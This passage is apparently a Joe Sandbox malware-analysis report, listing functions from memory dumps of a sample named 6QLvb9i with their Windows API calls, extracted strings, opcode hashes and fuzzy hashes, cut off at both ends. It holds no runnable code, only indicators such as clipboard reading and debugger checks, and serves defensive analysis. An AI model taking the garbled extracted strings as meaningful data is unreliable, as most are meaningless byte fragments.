.N.L, xrefs: 0041B1F2

Memory Dump Source

Source File: 00000002.00000002.2977383766.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2977383766.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_6QLvb9i.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: .N.L$/$/
API String ID: 237503144-2067240300
Opcode ID: 8fabbb6adb0eaa8056dd07c245eeafa3c50dbe726fddee45eb1de107a081c36b
Instruction ID: 34ddd04803d420f9d1657d1b06ce26547378c723e6c32262e998a48c5edcbe3c
Opcode Fuzzy Hash: 8fabbb6adb0eaa8056dd07c245eeafa3c50dbe726fddee45eb1de107a081c36b
Instruction Fuzzy Hash: DAD128755083518BC324CF28C8906ABB7F1EFD9324F19896DE8C5973A1E738C952CB46

Function 00433890 Relevance: 9.1, APIs: 6, Instructions: 130clipboardCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32 ref: 004338B2
GetClipboardData.USER32 ref: 004338D3
GlobalLock.KERNEL32 ref: 004338F0
GetWindowLongW.USER32 ref: 00433962
GlobalUnlock.KERNEL32 ref: 00433A1D

Memory Dump Source

Source File: 00000002.00000002.2977383766.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2977383766.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_6QLvb9i.jbxd

Similarity

API ID: ClipboardGlobal$DataLockLongOpenUnlockWindow
String ID:
API String ID: 4075365217-0
Opcode ID: 4681a7e100c639805f7b4bceff4882192ac360966580e3f1f6ca1cc212d97b5e
Instruction ID: 0b148db4a9fdddc8d5789a28bf0132d5043350d27c5c2b63cb1535fc4d1d2827
Opcode Fuzzy Hash: 4681a7e100c639805f7b4bceff4882192ac360966580e3f1f6ca1cc212d97b5e
Instruction Fuzzy Hash: 0741BFB09086919ED700BF78D44936AFFE0AF06315F04863ED4DA97281D37D9658C7A7

Function 008F7CC7 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 85COMMON

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(?,2000000B,?,00000002,00000000,?,?,?,008F767D,?,00000000), ref: 008F7D60
GetLocaleInfoW.KERNEL32(?,20001004,?,00000002,00000000,?,?,?,008F767D,?,00000000), ref: 008F7D89
GetACP.KERNEL32(?,?,008F767D,?,00000000), ref: 008F7D9E

Strings

OCP, xrefs: 008F7D1B
ACP, xrefs: 008F7CE5

Memory Dump Source

Source File: 00000002.00000002.2977492714.00000000008D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008D0000, based on PE: true

Associated: 00000002.00000002.2977479512.00000000008D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2977515613.0000000000904000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2977534009.0000000000915000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2977549439.000000000091A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2977565268.000000000091E000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_8d0000_6QLvb9i.jbxd

Similarity

API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: e3cb25d656318ec04265f9e54991718feaaee2e6e08071ecb8064066a69f8fcd
Instruction ID: f60d1c036fe27156c99fcb1b9cbb81c4b8c0ccd20942eff2f6a14fc90b09ef16
Opcode Fuzzy Hash: e3cb25d656318ec04265f9e54991718feaaee2e6e08071ecb8064066a69f8fcd
Instruction Fuzzy Hash: 3D21AF2270810CAAFB35AF34C900BF772A6FF54B64BA68464EB0ADB118E732DD41C350

Function 008F7547 Relevance: 7.7, APIs: 5, Instructions: 182COMMON

Download Yara Rule

APIs

Part of subcall function 008F250A: GetLastError.KERNEL32(00000000,?,008F488D), ref: 008F250E
Part of subcall function 008F250A: SetLastError.KERNEL32(00000000,?,?,00000028,008EEB33), ref: 008F25B0

GetUserDefaultLCID.KERNEL32 ref: 008F764F
IsValidCodePage.KERNEL32(00000000), ref: 008F768D
IsValidLocale.KERNEL32(?,00000001), ref: 008F76A0
GetLocaleInfoW.KERNEL32(?,00001001,?,00000040,?,?,00000055,00000000,?,?,00000055,00000000), ref: 008F76E8
GetLocaleInfoW.KERNEL32(?,00001002,?,00000040), ref: 008F7703

Memory Dump Source

Source File: 00000002.00000002.2977492714.00000000008D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008D0000, based on PE: true

Associated: 00000002.00000002.2977479512.00000000008D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2977515613.0000000000904000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2977534009.0000000000915000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2977549439.000000000091A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2977565268.000000000091E000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_8d0000_6QLvb9i.jbxd

Similarity

API ID: Locale$ErrorInfoLastValid$CodeDefaultPageUser
String ID:
API String ID: 415426439-0
Opcode ID: acb1a88a2fb1efc91faadfb8bd3462448370029cc67743135f958759dea4882d
Instruction ID: 9fc95618b77602f56447edb327b7e19945c3478dd9e61c85693761ea1b1b8c10
Opcode Fuzzy Hash: acb1a88a2fb1efc91faadfb8bd3462448370029cc67743135f958759dea4882d
Instruction Fuzzy Hash: 89516D71A1860EABEB10EFB8CC41ABE77B9FF08700F144469EA11E7190E7709940CB61

Function 00425A40 Relevance: 7.3, APIs: 2, Strings: 2, Instructions: 328COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000001E,00000000,00000000,?), ref: 00425B3F
RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000001E,00000000,?,?), ref: 00425BC4

Strings

b]B, xrefs: 00425D50
tu, xrefs: 00425AC6

Memory Dump Source

Source File: 00000002.00000002.2977383766.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2977383766.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_6QLvb9i.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: b]B$tu
API String ID: 237503144-1360544579
Opcode ID: ffb82af3bf6c32b65ab26dc60dc1fefb9c3c17b9efbf703a8def98636e4a7cf9
Instruction ID: 4845402d136b64f78677328518b1fbcc0be3b39ea22a39f89d3ef6fe0441a7b3
Opcode Fuzzy Hash: ffb82af3bf6c32b65ab26dc60dc1fefb9c3c17b9efbf703a8def98636e4a7cf9
Instruction Fuzzy Hash: 9D9122713083509FD7048F29A89179FBBE1EBC6714F51883DF9989B392C775980ADB82

Function 008F0060 Relevance: 6.5, APIs: 4, Instructions: 455COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2977492714.00000000008D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008D0000, based on PE: true

Associated: 00000002.00000002.2977479512.00000000008D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2977515613.0000000000904000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2977534009.0000000000915000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2977549439.000000000091A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2977565268.000000000091E000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_8d0000_6QLvb9i.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2acc4a95594b0cc3dae83bbb4bbb2394bfb15ac2bff7a19afe3f152f10eb15a3
Instruction ID: 38ead3bf0c793a5766b2d424b74e58003b9a20902cd209e602855e4878a231ca
Opcode Fuzzy Hash: 2acc4a95594b0cc3dae83bbb4bbb2394bfb15ac2bff7a19afe3f152f10eb15a3
Instruction Fuzzy Hash: 96020871E0121D9FDF14CFA9C9806AEBBB1FF48314F248269EA19E7341D731A9458F94

Function 0042CE04 Relevance: 6.4, Strings: 5, Instructions: 165COMMON

Download Yara Rule

Strings

<l&(, xrefs: 0042CE0C
@l&(, xrefs: 0042CE42
Tx%, xrefs: 0042CEF5, 0042CF0C
Tx%, xrefs: 0042CFA0
O, xrefs: 0042CF8C

Memory Dump Source

Source File: 00000002.00000002.2977383766.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2977383766.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_6QLvb9i.jbxd

Similarity

API ID:
String ID: O$<l&($@l&($Tx%$Tx%
API String ID: 0-3371130338
Opcode ID: b91e07e4907c04d2526043db47d845202827b919044de0b2592eada69fd63742
Instruction ID: bd6f35e38a6a55904aac1a1431c2010f55520e7110b566735b4be221ec2f10a3
Opcode Fuzzy Hash: b91e07e4907c04d2526043db47d845202827b919044de0b2592eada69fd63742
Instruction Fuzzy Hash: 4B41266020D7E14BDB398F3590643BBBBD19FA3304F5959AEC4DA9B282CA384405C75A

Function 008E64BF Relevance: 6.1, APIs: 4, Instructions: 70COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017,?), ref: 008E64CB
IsDebuggerPresent.KERNEL32 ref: 008E6597
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 008E65B0
UnhandledExceptionFilter.KERNEL32(?), ref: 008E65BA

Memory Dump Source

Source File: 00000002.00000002.2977492714.00000000008D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008D0000, based on PE: true

Associated: 00000002.00000002.2977479512.00000000008D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2977515613.0000000000904000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2977534009.0000000000915000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2977549439.000000000091A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2977565268.000000000091E000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_8d0000_6QLvb9i.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: 5a7c798374b5f5bb862214f81af46d990560b2bf7651cc1dcd777cb521dba4fd
Instruction ID: edb5004e1597e41c7a53bbe4ef244a9962c963aedf8bd91a99a7fdb48ae2fd30
Opcode Fuzzy Hash: 5a7c798374b5f5bb862214f81af46d990560b2bf7651cc1dcd777cb521dba4fd
Instruction Fuzzy Hash: F4310875D0521C9ADF20DFA5D9497CDBBB8FF08304F1081DAE50CAA250EB719A84DF45

Function 00416548 Relevance: 6.0, APIs: 2, Strings: 1, Instructions: 740COMMON

Download Yara Rule

Strings

DGF9, xrefs: 0041673A

Memory Dump Source

Source File: 00000002.00000002.2977383766.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2977383766.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_6QLvb9i.jbxd

Similarity

API ID:
String ID: DGF9
API String ID: 0-3116493752
Opcode ID: 8609763a23be90de1693b243597f6e6103e40f93af1b90391856fa58abd466b3
Instruction ID: c6a8b9c73f1d20517a5357a582c976443313a7535e85d10b0b7236f570de8f32
Opcode Fuzzy Hash: 8609763a23be90de1693b243597f6e6103e40f93af1b90391856fa58abd466b3
Instruction Fuzzy Hash: 013226756083518BD724CF29C8917ABB7E2EFC9324F19892DE4C997391D738D842CB46

Function 00428633 Relevance: 5.5, Strings: 4, Instructions: 529COMMON

Download Yara Rule

Strings

]Z, xrefs: 00428DC5
zx, xrefs: 00428D75
vt, xrefs: 00428D7F
%~|, xrefs: 00428D6B

Memory Dump Source

Source File: 00000002.00000002.2977383766.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2977383766.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_6QLvb9i.jbxd

Similarity

API ID:
String ID: %~|$]Z$vt$zx
API String ID: 0-3928829640
Opcode ID: 08b684ffb733c82d0987a942e38f2a5a6de11efc99c144a36c5573a74e73b8d6
Instruction ID: 098e35bfd6feea8e03d48c1cbf41912fde1e463983159ed2fb3207237fe7212e
Opcode Fuzzy Hash: 08b684ffb733c82d0987a942e38f2a5a6de11efc99c144a36c5573a74e73b8d6
Instruction Fuzzy Hash: 330257B5A09361CFC7148F24E8513AFB7A1EF92304F4848BEE4C597342DB399946CB5A

Function 004227F0 Relevance: 5.5, Strings: 4, Instructions: 519COMMON

Download Yara Rule

Strings

c], xrefs: 004229CA
TX, xrefs: 004229DA
J_, xrefs: 004229D2
01, xrefs: 00422BDE

Memory Dump Source

Source File: 00000002.00000002.2977383766.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2977383766.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_6QLvb9i.jbxd

Similarity

API ID:
String ID: 01$J_$TX$c]
API String ID: 0-677878960
Opcode ID: da20f0892873e6093157c88e69f74955c9d4da547801792ee8bafaa2311fa15d
Instruction ID: 562faa5c06f757974dc901a5bc3b4c45434ce91da653701434b56c86a19b292b
Opcode Fuzzy Hash: da20f0892873e6093157c88e69f74955c9d4da547801792ee8bafaa2311fa15d
Instruction Fuzzy Hash: E7E139716143118BC728CF29C9923ABB7F1EF91314F588A6DE4828F390E7B99805CB46

Function 004162C4 Relevance: 5.2, Strings: 4, Instructions: 179COMMON

Download Yara Rule

Strings

Z[, xrefs: 004163E6
9o$i, xrefs: 00416456
J'+-, xrefs: 0041633E
D, xrefs: 004162D6

Memory Dump Source

Source File: 00000002.00000002.2977383766.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2977383766.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_6QLvb9i.jbxd

Similarity

API ID:
String ID: 9o$i$D$J'+-$Z[
API String ID: 0-3905994174
Opcode ID: 6195eeed1d3080a53479b0343f5ec21bbc22aed18cbbbb254990d331d8e901fb
Instruction ID: 05a55f692877d3f40c5d34fb8e20780231db880505add2db41b5f7ed30b4bcb1
Opcode Fuzzy Hash: 6195eeed1d3080a53479b0343f5ec21bbc22aed18cbbbb254990d331d8e901fb
Instruction Fuzzy Hash: 7A4158716083508BC3248F29C8913BBBBE1AFD9314F09895EE8DA9B391D778C845C75A

Function 0042D464 Relevance: 5.1, Strings: 4, Instructions: 147COMMON

Download Yara Rule

Strings

JH, xrefs: 0042D4C0, 0042D512
><, xrefs: 0042D57C
%", xrefs: 0042D59D
JH, xrefs: 0042D55B

Memory Dump Source

Source File: 00000002.00000002.2977383766.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2977383766.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_6QLvb9i.jbxd

Similarity

API ID:
String ID: %"$><$JH$JH
API String ID: 0-608218650
Opcode ID: d13a3eedca5d257130afa4ae47afeb9d7a9bd09d46371244b794dcdcf9bb8607
Instruction ID: ab7a410afa5d42084633ca8e3ddbeee82f9b8e0c59a6da37c95466711073b9f2
Opcode Fuzzy Hash: d13a3eedca5d257130afa4ae47afeb9d7a9bd09d46371244b794dcdcf9bb8607
Instruction Fuzzy Hash: E9412676E1C7908AD739CF3988103EBBBE1AFD6304F59866DC4CE87285DB7949028745

Function 0042D460 Relevance: 5.1, Strings: 4, Instructions: 128COMMON

Download Yara Rule

Strings

JH, xrefs: 0042D4C0, 0042D512
><, xrefs: 0042D57C
%", xrefs: 0042D59D
JH, xrefs: 0042D55B

Memory Dump Source

Source File: 00000002.00000002.2977383766.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2977383766.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_6QLvb9i.jbxd

Similarity

API ID:
String ID: %"$><$JH$JH
API String ID: 0-608218650
Opcode ID: d91a7566c951a003f18a568632205f32adf2b1c6ad11ff2513814a237c0a845d
Instruction ID: 38431c4fdc3d2f0b55d63d3c817724efbb2da3fd920db32891c116197ddcf8d5
Opcode Fuzzy Hash: d91a7566c951a003f18a568632205f32adf2b1c6ad11ff2513814a237c0a845d
Instruction Fuzzy Hash: 35412676E1C79086D329CF3588113EBBBE1AFD5304F59866DC48E87285DB7948028745

Function 00415656 Relevance: 5.0, Strings: 3, Instructions: 1291COMMON

Download Yara Rule

Strings

DGF9, xrefs: 00415900
D]+\, xrefs: 00415CB0
DGF9, xrefs: 004153AB, 0041549B

Memory Dump Source

Source File: 00000002.00000002.2977383766.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2977383766.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_6QLvb9i.jbxd

Similarity

API ID:
String ID: DGF9$DGF9$D]+\
API String ID: 0-2011809503
Opcode ID: 8fea8c6f37dd1d47c449425d266e018715885713cb11b3374146e6f0240ada0e
Instruction ID: 2035a206a341d8f376c88a3e4a23c6c5ed10184858600372b04d24486e1e16c4
Opcode Fuzzy Hash: 8fea8c6f37dd1d47c449425d266e018715885713cb11b3374146e6f0240ada0e
Instruction Fuzzy Hash: 0A722475A00205CBDF18CF64DC91AFE7772FF8A314F19406EE502A7291DB399852CB99

Function 00439500 Relevance: 4.2, Strings: 3, Instructions: 482COMMON

Download Yara Rule

Strings

DGF9, xrefs: 00439571
DGF9, xrefs: 004399E0, 004396A4
DGF9, xrefs: 004396F0

Memory Dump Source

Source File: 00000002.00000002.2977383766.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2977383766.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_6QLvb9i.jbxd

Similarity

API ID:
String ID: DGF9$DGF9$DGF9
API String ID: 0-2345885764
Opcode ID: 8a618ed30f618843cec5bbef674170afa39510ab4c556bffd323738c0552261e
Instruction ID: 60aabec134c962db80172fd045e23e53730c07fd6416d544c5c0a53d73f22fe0
Opcode Fuzzy Hash: 8a618ed30f618843cec5bbef674170afa39510ab4c556bffd323738c0552261e
Instruction Fuzzy Hash: 64C12276A083109BDB14DF25D88172BB7E2AFC9314F19A42EE5C457391D7B4DC02CB9A

Function 00418C28 Relevance: 4.2, Strings: 3, Instructions: 466COMMON

Download Yara Rule

Strings

DGF9, xrefs: 004180B3
DGF9, xrefs: 00418C99
DGF9, xrefs: 00417D95

Memory Dump Source

Source File: 00000002.00000002.2977383766.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2977383766.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_6QLvb9i.jbxd

Similarity

API ID:
String ID: DGF9$DGF9$DGF9
API String ID: 0-2345885764
Opcode ID: 8c3a4f3c12c64466a3667a637e8999b40a2e01912220808810defcc7d5f87540
Instruction ID: 13f4fc3e4cc7ed4afce2b897629eb57685b0fbc505e30cbe1685214092d451f9
Opcode Fuzzy Hash: 8c3a4f3c12c64466a3667a637e8999b40a2e01912220808810defcc7d5f87540
Instruction Fuzzy Hash: D5B16D3660C3514FD7188F39D8502BBBBE29BCB315F1D896EE4D693391DB788842874A

Function 004091F0 Relevance: 4.1, Strings: 3, Instructions: 388COMMON

Download Yara Rule

Strings

~}, xrefs: 00409366
0gg~, xrefs: 0040957A
0gg~, xrefs: 00409265

Memory Dump Source

Source File: 00000002.00000002.2977383766.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2977383766.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_6QLvb9i.jbxd

Similarity

API ID:
String ID: 0gg~$0gg~$~}
API String ID: 0-3713616309
Opcode ID: f76e93f6ac125fb31f3a4ad52be8ed4baf2b11cb4878243f861c979ef0518ccf
Instruction ID: 7dd0bbc527f49c7bda4d948ccb6c7315b5dd68dcef0a6e7aa5adb2d1a7f5ddfc
Opcode Fuzzy Hash: f76e93f6ac125fb31f3a4ad52be8ed4baf2b11cb4878243f861c979ef0518ccf
Instruction Fuzzy Hash: 6FB1EA7164C3918BC312CF3A889026BFFE1AFD7614F08496DE4D59B392D639C90AC75A

Function 00417A10 Relevance: 4.0, Strings: 3, Instructions: 241COMMON

Download Yara Rule

Strings

DGF9, xrefs: 00417A7A
|A, xrefs: 00417CE2
DGF9, xrefs: 00417BB7

Memory Dump Source

Source File: 00000002.00000002.2977383766.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2977383766.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_6QLvb9i.jbxd

Similarity

API ID: InitializeThunk
String ID: DGF9$DGF9$|A
API String ID: 2994545307-3529080796
Opcode ID: 44c600968d5277d9296c10914f7616521c078557cb4f9e6fda4d5b26ea9d174d
Instruction ID: d8bfbd0710a1deb718c57cc92c3d4c9d7d5dac9ba5154799fa00e6f5ff4cf31b
Opcode Fuzzy Hash: 44c600968d5277d9296c10914f7616521c078557cb4f9e6fda4d5b26ea9d174d
Instruction Fuzzy Hash: ED618D76A4C2518BD724CF29C8507BF7BE6ABC6340F1D896DE0C6C3291DB789841879A

Function 0042CE4C Relevance: 3.9, Strings: 3, Instructions: 164COMMON

Download Yara Rule

Strings

Tx%, xrefs: 0042CEF5, 0042CF0C
Tx%, xrefs: 0042CFA0
O, xrefs: 0042CF8C

Memory Dump Source

Source File: 00000002.00000002.2977383766.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2977383766.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_6QLvb9i.jbxd

Similarity

API ID:
String ID: O$Tx%$Tx%
API String ID: 0-29309991
Opcode ID: a7c4d2cf0c722523b6f7cae5baca6cd49b588681f1e8b19df47fcbc836d76340
Instruction ID: 5a464d16b60e4ab313760730204b36acbd14db288b06a9fc56d068586e8d70df
Opcode Fuzzy Hash: a7c4d2cf0c722523b6f7cae5baca6cd49b588681f1e8b19df47fcbc836d76340
Instruction Fuzzy Hash: CF41596420D3E14BDB398F3590643BBBBE2AF93304F5949ADC4DA97382DA344406CB56

Function 0042CDAC Relevance: 3.9, Strings: 3, Instructions: 116COMMON

Download Yara Rule

Strings

Tx%, xrefs: 0042CEF5, 0042CF0C
Tx%, xrefs: 0042CFA0
O, xrefs: 0042CF8C

Memory Dump Source

Source File: 00000002.00000002.2977383766.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2977383766.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_6QLvb9i.jbxd

Similarity

API ID:
String ID: O$Tx%$Tx%
API String ID: 0-29309991
Opcode ID: 8c60666da583355c6824b41d423db39878d95d0a820e20d40902dfb6634b6c71
Instruction ID: 19fcd1ada2d16e57907bcb7d441ffae4413bf6cb87f59534111ac90f3b13d704
Opcode Fuzzy Hash: 8c60666da583355c6824b41d423db39878d95d0a820e20d40902dfb6634b6c71
Instruction Fuzzy Hash: 5C31E36020D3E18ADF398F3591687BBFBE1AB93344F5949AEC0DE97282DA344406C756

Function 00420270 Relevance: 3.4, Strings: 2, Instructions: 886COMMON

Download Yara Rule

Strings

66, xrefs: 004205D8
W, xrefs: 0042047B

Memory Dump Source

Source File: 00000002.00000002.2977383766.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2977383766.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_6QLvb9i.jbxd

Similarity

API ID:
String ID: W$66
API String ID: 0-695421354
Opcode ID: 5ae8966e562c868b5342be646f3f0089d53bd86d9fc09d26556a4862f64f5b93
Instruction ID: decb1ada65ae716a69e00499e69ccb0c31e0b54dc457a7cd3e9d1d2d1da249f7
Opcode Fuzzy Hash: 5ae8966e562c868b5342be646f3f0089d53bd86d9fc09d26556a4862f64f5b93
Instruction Fuzzy Hash: 6D62687060C3618FC725CF28D85062FBBE1AF95304F488A6DE8E55B393D7399906CB96

Function 0042EA12 Relevance: 3.2, APIs: 2, Instructions: 228COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32 ref: 0042EB31

Memory Dump Source

Source File: 00000002.00000002.2977383766.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2977383766.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_6QLvb9i.jbxd

Similarity

API ID: FreeLibrary
String ID:
API String ID: 3664257935-0
Opcode ID: ac72a7358256d801fad57520555fb36bdd632574602e242b8d9ff2995677673a
Instruction ID: cc126d24e2b7d3bdfda1e03d555b9e4bf5cd3f5c3922a713fe1ec6c4ea1432d8
Opcode Fuzzy Hash: ac72a7358256d801fad57520555fb36bdd632574602e242b8d9ff2995677673a
Instruction Fuzzy Hash: 5B616B705483919BE3218B26AC6176BBFD0EF93311F14095DF4E21B392C7794906CB9B

Function 0041D4D6 Relevance: 2.7, Strings: 2, Instructions: 211COMMON

Download Yara Rule

Strings

/, xrefs: 0041D547
0, xrefs: 0041D5D1

Memory Dump Source

Source File: 00000002.00000002.2977383766.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2977383766.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_6QLvb9i.jbxd

Similarity

API ID:
String ID: /$0
API String ID: 0-459344325
Opcode ID: b4945ab26948502c270a216e7c2b65eab9cc59ef9cc92e0439d23536e20fed25
Instruction ID: 6391d405cdc527968ec724547c8d29d619ed2e730c70f40ab95d92d0098ef473
Opcode Fuzzy Hash: b4945ab26948502c270a216e7c2b65eab9cc59ef9cc92e0439d23536e20fed25
Instruction Fuzzy Hash: 4451FB716083D04BDB2D8A3985213FBBFE29F97304F5884AED4D5CB282D62CC546C726

Function 0041CB70 Relevance: 2.7, Strings: 2, Instructions: 196COMMON

Download Yara Rule

Strings

~567, xrefs: 0041CC2D
pqv, xrefs: 0041CB92

Memory Dump Source

Source File: 00000002.00000002.2977383766.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2977383766.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_6QLvb9i.jbxd

Similarity

API ID:
String ID: ~567$pqv
API String ID: 0-3791006701
Opcode ID: 29eeae57fe58f397ea592112c80e27e935c8246cee241759d3c385df9c5c1b5e
Instruction ID: 20046f24028077a63cfa36220a34476b53bf7860a34b7fe2f77c5a7fcc743f5e
Opcode Fuzzy Hash: 29eeae57fe58f397ea592112c80e27e935c8246cee241759d3c385df9c5c1b5e
Instruction Fuzzy Hash: 055101715483918BD3248F25CC902ABBBF2EFC3354F08896DE4C18B791E7788845C796

Function 0041AD93 Relevance: 2.6, Strings: 2, Instructions: 145COMMON

Download Yara Rule

Strings

DGF9, xrefs: 0041AD55
+(, xrefs: 0041ADFC

Memory Dump Source

Source File: 00000002.00000002.2977383766.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2977383766.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_6QLvb9i.jbxd

Similarity

API ID:
String ID: +($DGF9
API String ID: 0-401442851
Opcode ID: ede8e19f3d1631821a029e233cbc84917c708166f3b63993b4abe798b80271dc
Instruction ID: b8d007e046c90d3d473559434aad65c7219cc4816192820ff0275025c4b2c87d
Opcode Fuzzy Hash: ede8e19f3d1631821a029e233cbc84917c708166f3b63993b4abe798b80271dc
